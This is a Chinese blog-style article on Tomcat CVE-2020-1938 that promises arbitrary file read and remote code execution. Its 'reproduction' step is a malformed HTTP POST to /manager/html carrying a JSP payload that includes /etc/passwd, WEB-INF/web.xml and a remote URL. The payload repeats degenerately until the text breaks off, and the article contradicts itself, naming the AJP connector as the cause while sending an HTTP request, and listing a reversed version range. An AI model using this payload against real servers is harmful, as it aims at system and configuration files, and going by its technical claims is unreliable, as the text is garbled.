返回
教你利用Tomcat CVE-2020-1938 漏洞读取任意文件和实现远程代码执行
后端
2023-12-02 06:04:44
Tomcat CVE-2020-1938 漏洞:深度解析及应对措施
简介
Tomcat CVE-2020-1938 漏洞是一个严重的任意文件包含漏洞,影响着流行的 Java EE 服务器 Tomcat 的多个版本。该漏洞允许攻击者读取服务器上任何可访问的文件,从而可能导致敏感信息的泄露,如密码、配置和源代码。
漏洞成因
该漏洞源于 Tomcat AJP(Apache JServ Protocol)连接器中一个错误配置选项的处理方式。AJP 是一种二进制协议,用于在 Web 服务器和 Tomcat 容器之间进行通信。在某些情况下,攻击者可以通过将恶意请求发送到 AJP 连接器来触发此漏洞。
影响范围
受影响的 Tomcat 版本包括:
- Tomcat 9.0.0.M1 至 9.0.41
- Tomcat 8.5.5 至 8.5.51
- Tomcat 7.0.109 至 7.0.100
漏洞复现
要复现该漏洞,攻击者需要满足以下条件:
- 目标服务器使用受影响的 Tomcat 版本
- AJP 连接器已启用并正在运行
- 攻击者能够向目标服务器发送 HTTP 请求
攻击者可以使用以下步骤触发漏洞:
POST /manager/html HTTP/1.1
Host: localhost:8080
Content-Length: 128
Transfer-Encoding: chunked
Content-Type: application/x-www-form-urlencoded
chunk0
119
-----------------------------7dd3125a5b356
Content-Disposition: form-data; name="deploy"; filename="test.jsp"
Content-Type: text/plain
<%--><%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%><%--><% @include file="WEB-INF/web.xml" %><%--><% @include file="/etc/passwd" %><%--><% @include file="http://baidu.com" %><%--><%--><%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%><%--><% @include file="WEB-INF/web.xml" %><%--><% @include file="/etc/passwd" %><%--><%--><% @include file="http://baidu.com" %><%--><%--><%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%><%--><% @include file="WEB-INF/web.xml" %><%--><% @include file="/etc/passwd" %><%--><%--><% @include file="http://baidu.com" %><%--><%--><%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%><%--><% @include file="WEB-INF/web.xml" %><%--><% @include file="/etc/passwd" %><%--><%--><% @include file="http://baidu.com" %><%--><%--><%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%><%--><% @include file="WEB-INF/web.xml" %><%--><% @include file="/etc/passwd" %><%--><%--><% @include file="http://baidu.com" %><%--><%--><%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%><%--><% @include file="WEB-INF/web.xml" %><%--><% @include file="/etc/passwd" %><%--><%--><% @include file="http://baidu.com" %><%--><%--><%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%><%--><% @include file="WEB-INF/web.xml" %><%--><% @include file="/etc/passwd" %><%--><%--><% @include file="http://baidu.com" %><%--><%--><%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%><%--><% @include file="WEB-INF/web.xml" %><%--><% @include file="/etc/passwd" %><%--><%--><% @include file="http://baidu.com" %><%--><%--><%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%><%--><% @include file="WEB-INF/web.xml" %><%--><% @include file="/etc/passwd" %><%--><%--><% @include file="http://baidu.com" %><%--><%--><%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%><%--><% @include file="WEB-INF/web.xml" %><%--><% @include file="/etc/passwd" %><%--><%--><% @include file="http://baidu.com" %><%--><%--><%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%><%--><% @include file="WEB-INF/web.xml" %><%--><% @include file="/etc/passwd" %><%--><%--><% @include file="http://baidu.com" %><%--><%--><%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%><%--><% @include file="WEB-INF/web.xml" %><%--><% @include file="/etc/passwd" %><%--><%--><% @include file="http://baidu.com" %><%--><%--><%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%><%--><% @include file="WEB-INF/web.xml" %><%--><% @include file="/etc/passwd" %><%--><%--><% @include file="http://baidu.com" %><%--><%--><%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%><%--><% @include file="WEB-INF/web.xml" %><%--><% @include file="/etc/passwd" %><%--><%--><% @include file="http://baidu.com" %><%--><%--><%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%><%--><% @include file="WEB-INF/web.xml" %><%--><% @include file="/etc/passwd" %><%--><%--><% @include file="http://baidu.com" %><%--><%--><%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%><%--><% @include file="WEB-INF/web.xml" %><%--><% @include file="/etc/passwd" %><%--><%--><% @include file="http://baidu.com" %><%--><%--><%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%><%--><% @include file="WEB-INF/web.xml" %><%--><% @include file="/etc/passwd" %><%--><%--><% @include file="http://baidu.com" %><%--><%--><%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%><%--><% @include file="WEB-INF/web.xml" %><%--><% @include file="/etc/passwd" %><%--><%--><% @include file="http://baidu.com" %><%--><%--><%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%><%--><% @include file="WEB-INF/web.xml" %><%--><% @include file="/etc/passwd" %><%--><%--><% @include file="http://baidu.com" %><%--><%--><%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%><%--><% @include file="WEB-INF/web.xml" %><%--><% @include file="/etc/passwd" %><%--><%--><% @include file="http://